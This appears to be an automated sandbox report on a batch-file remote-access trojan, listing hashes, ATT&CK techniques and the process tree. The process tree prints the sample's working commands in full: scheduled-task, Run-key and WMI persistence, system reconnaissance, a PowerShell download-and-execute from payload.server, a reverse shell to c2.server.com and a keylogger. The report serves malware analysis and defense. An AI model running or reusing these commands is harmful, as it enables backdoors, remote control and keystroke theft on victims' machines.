cdc07b888d205074e032887bf49001f4aac54505f4fd5a074ea355bf101a014a

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:38

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General

Target
rat_build_336002_014839.bat
Size 4KB
Sample260529-b2ws2ag13m
SHA256 cdc07b888d205074e032887bf49001f4aac54505f4fd5a074ea355bf101a014a
MD5 46f25e0c9ae781b575243d4c156d21cd
SHA1 6ba59429861facb6d0396a8d6be9e94b6b794c5d
SHA512 c45c097e0670e06c05ecdb7ffe11870ef6e2c78f8b47077610eb92adb53787a0a3dac3487b374c7ffac1751c1ba2967c50e000bb71d8cdd773f59fcad39e3f4f
SSDEEP 96:nI6uWJzszd0QgoqP7xiUKYbQ+lJexXkWnfkg58miFgZk8mvlo1sCt:nfJzxQgP0hY3JAfkiiFgkHlLCt
TLSH
T14DA1E92727DB712095B41658CB373814932CDAFB2341CA8EFE488CD54F4DAC792295EB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_336002.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4748	powershell.exe
3524	powershell.exe
568	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_336002 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_336002.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1340	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4808	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1680	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
376	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3524	powershell.exe
3524	powershell.exe
4748	powershell.exe
4748	powershell.exe
4748	powershell.exe
568	powershell.exe
568	powershell.exe
568	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4856	WMIC.exe
Token: SeSecurityPrivilege	4856	WMIC.exe
Token: SeTakeOwnershipPrivilege	4856	WMIC.exe
Token: SeLoadDriverPrivilege	4856	WMIC.exe
Token: SeSystemProfilePrivilege	4856	WMIC.exe
Token: SeSystemtimePrivilege	4856	WMIC.exe
Token: SeProfSingleProcessPrivilege	4856	WMIC.exe
Token: SeIncBasePriorityPrivilege	4856	WMIC.exe
Token: SeCreatePagefilePrivilege	4856	WMIC.exe
Token: SeBackupPrivilege	4856	WMIC.exe
Token: SeRestorePrivilege	4856	WMIC.exe
Token: SeShutdownPrivilege	4856	WMIC.exe
Token: SeDebugPrivilege	4856	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4856	WMIC.exe
Token: SeRemoteShutdownPrivilege	4856	WMIC.exe
Token: SeUndockPrivilege	4856	WMIC.exe
Token: SeManageVolumePrivilege	4856	WMIC.exe
Token: 33	4856	WMIC.exe
Token: 34	4856	WMIC.exe
Token: 35	4856	WMIC.exe
Token: 36	4856	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4856	WMIC.exe
Token: SeSecurityPrivilege	4856	WMIC.exe
Token: SeTakeOwnershipPrivilege	4856	WMIC.exe
Token: SeLoadDriverPrivilege	4856	WMIC.exe
Token: SeSystemProfilePrivilege	4856	WMIC.exe
Token: SeSystemtimePrivilege	4856	WMIC.exe
Token: SeProfSingleProcessPrivilege	4856	WMIC.exe
Token: SeIncBasePriorityPrivilege	4856	WMIC.exe
Token: SeCreatePagefilePrivilege	4856	WMIC.exe
Token: SeBackupPrivilege	4856	WMIC.exe
Token: SeRestorePrivilege	4856	WMIC.exe
Token: SeShutdownPrivilege	4856	WMIC.exe
Token: SeDebugPrivilege	4856	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4856	WMIC.exe
Token: SeRemoteShutdownPrivilege	4856	WMIC.exe
Token: SeUndockPrivilege	4856	WMIC.exe
Token: SeManageVolumePrivilege	4856	WMIC.exe
Token: 33	4856	WMIC.exe
Token: 34	4856	WMIC.exe
Token: 35	4856	WMIC.exe
Token: 36	4856	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1744	WMIC.exe
Token: SeSecurityPrivilege	1744	WMIC.exe
Token: SeTakeOwnershipPrivilege	1744	WMIC.exe
Token: SeLoadDriverPrivilege	1744	WMIC.exe
Token: SeSystemProfilePrivilege	1744	WMIC.exe
Token: SeSystemtimePrivilege	1744	WMIC.exe
Token: SeProfSingleProcessPrivilege	1744	WMIC.exe
Token: SeIncBasePriorityPrivilege	1744	WMIC.exe
Token: SeCreatePagefilePrivilege	1744	WMIC.exe
Token: SeBackupPrivilege	1744	WMIC.exe
Token: SeRestorePrivilege	1744	WMIC.exe
Token: SeShutdownPrivilege	1744	WMIC.exe
Token: SeDebugPrivilege	1744	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1744	WMIC.exe
Token: SeRemoteShutdownPrivilege	1744	WMIC.exe
Token: SeUndockPrivilege	1744	WMIC.exe
Token: SeManageVolumePrivilege	1744	WMIC.exe
Token: 33	1744	WMIC.exe
Token: 34	1744	WMIC.exe
Token: 35	1744	WMIC.exe
Token: 36	1744	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1744	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4316 wrote to memory of 376	4316	cmd.exe	87
PID 4316 wrote to memory of 1680	4316	cmd.exe	88
PID 4316 wrote to memory of 4856	4316	cmd.exe	89
PID 4316 wrote to memory of 1744	4316	cmd.exe	90
PID 4316 wrote to memory of 2560	4316	cmd.exe	92
PID 4316 wrote to memory of 4808	4316	cmd.exe	116
PID 4316 wrote to memory of 1340	4316	cmd.exe	120
PID 4316 wrote to memory of 3524	4316	cmd.exe	121
PID 4316 wrote to memory of 4748	4316	cmd.exe	123
PID 4316 wrote to memory of 568	4316	cmd.exe	125

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_336002_014839.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4316
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_336002" /tr "C:\Users\Admin\AppData\Local\Temp\_336002.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:376
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_336002" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_336002.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1680
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_336002", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4856
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_336002", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_336002.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1744
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_336002.txt
  2⤵
  PID:2560
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4808
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_336002.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:568

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c6b1b695f46183e1bc43976cab37b6c2f83f7ed45a97ea468f7d44aa7ae4a639
MD5 375dd95d7533c8d3bff0cc024b378007
SHA1 4329af8229f57a49b68ab4fb890656e9f866f96f
SHA512 fd9b205d3e3f2895e322aca45507252d8bf06b9a1f93e7bea480a7bc1bfd9824d83fa0fa40b32422c9ee5a09bc083b13caf994627d306145c2246767728ccc08
TLSH
T1B4117627F39CC921CC96153A409DAC1172B683DB81AEDF9FAFC4D614A07F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9ea798e49cc16dba3db361929c5ed0fd33e45b776a0bd6666da7eb9da488917f
MD5 f6fbc8917fc01a456e4e1a19f558db53
SHA1 cbaa8f8fe12c487810c0011a28a752d76241b3b5
SHA512 ed274b2a931fa89cca92df02cf0a0f46a44daff3c205beaa75fa9fe9e3a687f2f1439f315b02b3a7068196851f301118baf4f55f997f61826fc918f2987ab42a
TLSH
T12A115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB611A0
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_srzk1ap0.bjg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_srzk1ap0.bjg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/3524-3-0x0000021814AA0000-0x0000021814AC2000-memory.dmp

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